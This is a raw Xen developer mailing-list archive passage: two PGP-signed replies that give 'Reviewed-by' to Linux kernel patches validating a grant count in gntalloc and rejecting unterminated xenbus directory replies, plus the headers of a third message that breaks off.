 <20260626223805.43781-3-alhouseenyousef@gmail.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260626223805.43781-3-alhouseenyousef@gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------c2N6S0bmSZEJJAjkd5fv7yQI"
X-purgate-ID: tlsNG-d25034/1782892406-9273FD51-B383B1D8/0/0
X-purgate-type: clean
X-purgate-size: 6927

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------c2N6S0bmSZEJJAjkd5fv7yQI
Content-Type: multipart/mixed; boundary="------------6b8KZc9ZXC5nIjEmhLEUSxPd";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
Message-ID: <ea52ef38-8ad2-4b1f-af34-203f167242e5@suse.com>
Subject: Re: [PATCH v2 2/2] xen/gntalloc: validate grant count before
 allocation
References: <20260624124745.10073-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-3-alhouseenyousef@gmail.com>
In-Reply-To: <20260626223805.43781-3-alhouseenyousef@gmail.com>

--------------6b8KZc9ZXC5nIjEmhLEUSxPd
Content-Type: multipart/mixed; boundary="------------1W1gAI0xWQkegOsYmTYkJh5t"

--------------1W1gAI0xWQkegOsYmTYkJh5t
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjcuMDYuMjYgMDA6MzgsIFlvdXNlZiBBbGhvdXNlZW4gd3JvdGU6DQo+IGdudGFsbG9j
X2lvY3RsX2FsbG9jKCkgYWxsb2NhdGVzIHRoZSBncmFudC1pZCBhcnJheSBiZWZvcmUgY2hl
Y2tpbmcNCj4gd2hldGhlciB0aGUgcmVxdWVzdGVkIGNvdW50IGZpdHMgd2l0aGluIHRoZSBn
bG9iYWwgZ3JhbnQgbGltaXQuIENvdW50cw0KPiBhYm92ZSB0aGF0IGxpbWl0IGNhbm5vdCBz
dWNjZWVkLCBzbyByZWplY3QgdGhlbSBiZWZvcmUgdGhlDQo+IHVzZXItY29udHJvbGxlZCBh
bGxvY2F0aW9uIHJlYWNoZXMga2NhbGxvYygpLg0KPiANCj4gVXNlIGEgc3VidHJhY3Rpb24t
YmFzZWQgY2hlY2sgd2hpbGUgaG9sZGluZyBncmVmX211dGV4IHNvIGFkZGluZyB0aGUNCj4g
cmVxdWVzdGVkIGNvdW50IGNhbm5vdCB3cmFwLiBBbHNvIGNhc3QgdGhlIGNvdW50IGJlZm9y
ZSBhZHZhbmNpbmcgdGhlDQo+IHBlci1maWxlIGluZGV4IHNvIHRoZSBwYWdlLXNpemUgbXVs
dGlwbGljYXRpb24gaXMgcGVyZm9ybWVkIGluIDY0LWJpdA0KPiBhcml0aG1ldGljLg0KPiAN
Cj4gU2lnbmVkLW9mZi1ieTogWW91c2VmIEFsaG91c2VlbiA8YWxob3VzZWVueW91c2VmQGdt
YWlsLmNvbT4NCg0KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNv
bT4NCg0KDQpKdWVyZ2VuDQo=
--------------1W1gAI0xWQkegOsYmTYkJh5t
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1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X
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------1W1gAI0xWQkegOsYmTYkJh5t--

--------------6b8KZc9ZXC5nIjEmhLEUSxPd--

--------------c2N6S0bmSZEJJAjkd5fv7yQI
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpEx3QFAwAAAAAACgkQsN6d1ii/Ey+G
Bgf+N4NL9+mLMo+V7/vLXxzGE/VZYlm6ov6LM73ofNLN5hI6EJhhje18t6HqhgSnWiquH9j2VW4W
fOwHM9Ajb/xGhelS6C8c7T56hLO0VkTLcX77cY/ylgJ2r0tvtdEo9NF4hDJBO/0wkcyCi7OTwkTB
olEZGLd48XSYhvy5dmUqOWCZCSTDLfr6LnfntFGqc+sW68ivyWMFnOccGds4lxiLcNDXTgX7XWvb
7jS11d1FJ9C1vgjZjgdCvIvYpueiqaI6pQuIbB93Iah22aJ5pKvi5BAXNeB+qbVOD1QdjAqco5fm
O/VW7di0VtZaQ8Lt24OjNYvKUm2OiN4L0aoP/e9R/Q==
=PlyJ
-----END PGP SIGNATURE-----

--------------c2N6S0bmSZEJJAjkd5fv7yQI--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 07:59:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 07:59:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349575.1607293 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepqy-0005MA-S1; Wed, 01 Jul 2026 07:59:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349575.1607293; Wed, 01 Jul 2026 07:59:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepqy-0005M3-PG; Wed, 01 Jul 2026 07:59:28 +0000
Received: by outflank-mailman (input) for mailman id 1349575;
 Wed, 01 Jul 2026 07:59:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wepqx-0005Lx-Aw
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 07:59:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wepqw-002i7t-KI
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:59:26 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c8d1-5cb7-0a2a0a5109dd-0a2a4508adec-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:59:26 +0200
Received: from [209.85.218.54] (helo=mail-ej1-f54.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c8de-edec-0a2a45080019-d155da36e89a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:59:26 +0200
Received: by mail-ej1-f54.google.com with SMTP id
 a640c23a62f3a-c0e124d2a21so48916966b.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 00:59:26 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-6987c3a3d9bsm2239236a12.4.2026.07.01.00.59.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 00:59:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782892766; x=1783497566; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=4nbNkASKhTIlBPmQlRNUkJ6qH3MiYyvXeGCcasQsAI0=;
        b=Sd+JiGdqyeQSXYSphNozl1iUkWmxZE/77Xan+D3ksaZL8UIvVrieAL+Qy1iAoUcoin
         3LbWQexfGH6xNAunn4NDPRPvcRi/s4u3lIj97FHh8YGgvTzu8rZ+G8WN1CM48LsPr1qF
         z5HXUFSE3OkYUyMahMZzacgMfpyCzuRfSAMaiEZZ09FqeK3rTbqgIxSnVEE7yuSN1uy6
         uU7omgGtX/S3EsFGxNW/1yMq+kb8GzL/dpyl8BLgbVEjIGcJdkjKuBhnu33vJ+UxH3ps
         SmxhqBZH2ogVCHRlqATNRtZKA6Z8CI2tPfFbtzw4PYTp2GrBf649WDaoWmAfne2vFsen
         U58g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782892766; x=1783497566;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=4nbNkASKhTIlBPmQlRNUkJ6qH3MiYyvXeGCcasQsAI0=;
        b=J0pQx84QMN1Fi7WL+vfjmkk1p0EW3WaCGXBgwLJeOU4H00lXi5Ldd7/4PWgBKBE8iF
         2AA4+OOqM4eW+mT9Zr/3ec/cp9oENkb6gbX5MVUjZqFQespljQBwtz6U3rdJvxWj8pJh
         TckvNaqgvPuJI3jpajK/1xU32NQpgBdr3/i812ShHqsHCmzJ8hLHCn+XXlLVDSZj9TsH
         SqwPoNMW1lo4pjZKNiQg/sUtnyubOSI+zcuO7P63y+Tv/Wgm3lHnAHEszIkeJEy17Ujp
         /+CfosxptBIeef6SsW8itEHYhpv9DEjVBw5QfSqkpfB5NhQ0Q9NBabcnijyAGPvolMUT
         Wn/g==
X-Gm-Message-State: AOJu0YyELtXuxmlExw/xFiFlA41DDcoXyaIAQpYUDAwfKCZ+wrPy8acs
	l96LUFwip6C27Kn/z6IodmziJcxELLC1xqirTIHnk5kgiAY8YQtBAImC82wN/sNfIO0=
X-Gm-Gg: AfdE7ckz+vMt4j8sFfryjKanWNv6XmIs4j9q3RhT7sIjYykzbym8mm4do3MxGoF2YPd
	L32kUiMJaU+8tZ+sl1XDqEeiAIPO8CPussYHAyxW0m2tAVlJwvzgsLMacIwxpieQeQpng4pkcte
	a4w2wlPnygFTZdigdfphHw7QzyVQGAJsI51g8eB1esdoSKEuTW5R7tOWJ78KO4HRu0m7DKwn2Wq
	asAn2ZomcHJ4QfdAr1/2xN7tQCdl0b/QchYNWRpR/hR9a4zKic+C5jfNmYSCT857Zg5UwE490KW
	siay9XI6Go4syOHdgFEPh6dDm2Bke5QHlkZusBXps4vRSWa4fNW98mJER1L/uwkyswAHmzde7jy
	PvxNuPybK/hEonM/3iqme9cHlfF5tscm1DyiUb34Mszb3kYsALhcpFZwfHYb+n0/C4rzU5SDgaB
	Z+xSSrMRX7skzNmyz4RPb+Fv17xODLf6wkPyPVa8f6IMgax7p8m/TBIgIF9F3jfSCUlxD+Uc/1+
	vaBGIxxDP4Wxd9Hzi2Cd6qqPRERF/kufT2Dc7U1sQaDp/s4IQzQEA==
X-Received: by 2002:a17:906:e10d:20b0:c12:7512:18cb with SMTP id a640c23a62f3a-c12aa184c6cmr15283466b.58.1782892765663;
        Wed, 01 Jul 2026 00:59:25 -0700 (PDT)
Message-ID: <cfc2303f-aff7-45bd-a1b9-60888ba1e5a8@suse.com>
Date: Wed, 1 Jul 2026 09:59:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] xenbus: reject unterminated directory replies
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
References: <20260624124242.9160-1-alhouseenyousef@gmail.com>
 <20260626223738.43742-1-alhouseenyousef@gmail.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 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NDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260626223738.43742-1-alhouseenyousef@gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------Rx8KxrJ07uxXf9wNvhXWzk7Z"
X-purgate-ID: tlsNG-c1860d/1782892766-A253F3FC-33819FE0/0/0
X-purgate-type: clean
X-purgate-size: 6712

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------Rx8KxrJ07uxXf9wNvhXWzk7Z
Content-Type: multipart/mixed; boundary="------------4vUdhZNEHihnn0uY9xxS0MzH";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
Message-ID: <cfc2303f-aff7-45bd-a1b9-60888ba1e5a8@suse.com>
Subject: Re: [PATCH v2] xenbus: reject unterminated directory replies
References: <20260624124242.9160-1-alhouseenyousef@gmail.com>
 <20260626223738.43742-1-alhouseenyousef@gmail.com>
In-Reply-To: <20260626223738.43742-1-alhouseenyousef@gmail.com>

--------------4vUdhZNEHihnn0uY9xxS0MzH
Content-Type: multipart/mixed; boundary="------------hdg6x8htzENYRNr5sEtTzpry"

--------------hdg6x8htzENYRNr5sEtTzpry
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjcuMDYuMjYgMDA6MzcsIFlvdXNlZiBBbGhvdXNlZW4gd3JvdGU6DQo+IHNwbGl0X3N0
cmluZ3MoKSB3YWxrcyBlYWNoIGRpcmVjdG9yeSBlbnRyeSB3aXRoIHN0cmxlbigpLiBBbHRo
b3VnaCB0aGUNCj4gdHJhbnNwb3J0IGFkZHMgYSB0ZXJtaW5hdG9yIGFmdGVyIHRoZSByZXBs
eSBidWZmZXIsIGEgbWFsZm9ybWVkIHJlcGx5DQo+IHdpdGhvdXQgYSBmaW5hbCBOVUwgaW5z
aWRlIGl0cyBhZHZlcnRpc2VkIGxlbmd0aCB3b3VsZCBsZXQgdGhhdCB3YWxrDQo+IGNyb3Nz
IHRoZSBwcm90b2NvbCBwYXlsb2FkIGJvdW5kYXJ5Lg0KPiANCj4gUmVqZWN0IHN1Y2ggcmVw
bGllcyBiZWZvcmUgY291bnRpbmcgdGhlIHN0cmluZ3MuIFJlcG9ydCB0aGUgcHJvdG9jb2wN
Cj4gdmlvbGF0aW9uIG9uY2UgYW5kIHJldHVybiAtRUlPIHRvIHRoZSBjYWxsZXIuDQo+IA0K
PiBTaWduZWQtb2ZmLWJ5OiBZb3VzZWYgQWxob3VzZWVuIDxhbGhvdXNlZW55b3VzZWZAZ21h
aWwuY29tPg0KDQpSZXZpZXdlZC1ieTogSnVlcmdlbiBHcm9zcyA8amdyb3NzQHN1c2UuY29t
Pg0KDQoNCkp1ZXJnZW4NCg==
--------------hdg6x8htzENYRNr5sEtTzpry
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2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/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------hdg6x8htzENYRNr5sEtTzpry--

--------------4vUdhZNEHihnn0uY9xxS0MzH--

--------------Rx8KxrJ07uxXf9wNvhXWzk7Z
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpEyN0FAwAAAAAACgkQsN6d1ii/Ey/L
yQf9EUlGzOa4UNI7dN7EtJJoZFRzGCnjBW9ROiKQaeVCrktn9vewn7E9al8uCIhPpU5YXylF4LY5
Cdw3UqewfAW7+2j8J0ga8l5krmnL73YfuHnyYgTR9X4AxyLN+eM3eP1CrZN/iKeJrSZGb7w6VXAG
QOIXZR1zxClUpaxNZP/qydKwWK4lz76LPGTY+c3H979nXBAsjatdMgnraThuACURBiLipspT3/qU
TqgYnFGO5HrmKCvsyWZvQo08qQiACgoc8vYLDf/FTTezxl/nAhZDRWHObpI8LFzkj/d/ifM2h10Q
e8u3FPAU7SuK0AzYmc5zRa9u9dZ3RPTdncNCH1Bkrw==
=3KWH
-----END PGP SIGNATURE-----

--------------Rx8KxrJ07uxXf9wNvhXWzk7Z--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 08:33:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 08:33:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349602.1607302 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqNx-0003Sz-SP; Wed, 01 Jul 2026 08:33:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349602.1607302; Wed, 01 Jul 2026 08:33:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqNx-0003Sr-PG; Wed, 01 Jul 2026 08:33:33 +0000
Received: by outflank-mailman (input) for mailman id 1349602;
 Wed, 01 Jul 2026 08:33:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1weqNw-0003Sj-4s
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 08:33:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weqNu-001xNF-PG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 10:33:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44d0d7-bab6-0a2a0a5309dd-0a2a45068b5c-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 10:33:30 +0200
Received: from [209.85.208.53] (helo=mail-ed1-f53.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44d0da-08de-0a2a45060019-d155d035e009-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 10:33:30 +0200
Received: by mail-ed1-f53.google.com with SMTP id
 4fb4d7f45d1cf-6974a6e54dbso708106a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 01:33:30 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-6987c21f123sm2359277a12.0.2026.07.01.01.33.28
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 01:33:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782894810; x=1783499610; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=vjpi9gDuzwwRM7WLjI09X9TThOB1p5PHgz+55yL6rYs=;
        b=IvHQIHGvkP07FZB3kpQJGPZHrajiwchh5OL+k2cThWD8tgcU1ONetGUnmoa29kGzZf
         GrGbQTZPUdees6DuL/B2u/fpyw9nUMeXDZEk9Kzdkd3mG7wDFOvzqonBjE9hAnHeUYhf
         FjdbURtW7nXNJghZwcGqITUzAfERE1yc47+FF7wjI6KZGD9CcGpmTs4y5xuwY22aCPEq
         Hp8Z0aOjnFPy+itxLLHPRVo5KMpqtujZFfBSRhBwSXpO47SFp1E/FJsN3+0paWlFgaUL
         TCSADeL/cJIzJOegqAV+kpgbLBo+wAVcLsz8ABtZAq5Eu/EVa5yg8ug5/8PA3mHrAYVa
         S/rw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782894810; x=1783499610;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=vjpi9gDuzwwRM7WLjI09X9TThOB1p5PHgz+55yL6rYs=;
        b=lvz0QZfwHedPlnQARcjx5O96a9aeGOrwV0jiI07SGyxUWNwxr1MWmTBShgdgjXzWe3
         VMZxTWNokZGW+CAwGIQnbcduBxzwFO4iJCdbPdondsD40iAPhXoahwoTa2FT6ZmdLLdq
         flFYrOGLuVqRzbjO1hrcJdX8b1h1sqiWyQnSH/5egTdJiozk7eq79SOHOcD50nmIc6h6
         yodAKTg0atllSmKrNlCQASNxShmeJ4TXnEiPhwOHMyeOWr73cLs+/JfDmG9ACkbDfIIh
         zBrPC94OPWshdKPQyp3GjRKKRGdNLIMADROn9Ifj2yw/UCxyDtBvi6UmSmubQylQhWVE
         VPpA==
X-Forwarded-Encrypted: i=1; AHgh+Rq2YyNE/QU3C+OrXg55AAst2nVNnfXFUH6rt6a2wn4rEvTgwAJe7Y2sBjmb7CXgmOyOVPThF3mm0fw=@lists.xenproject.org
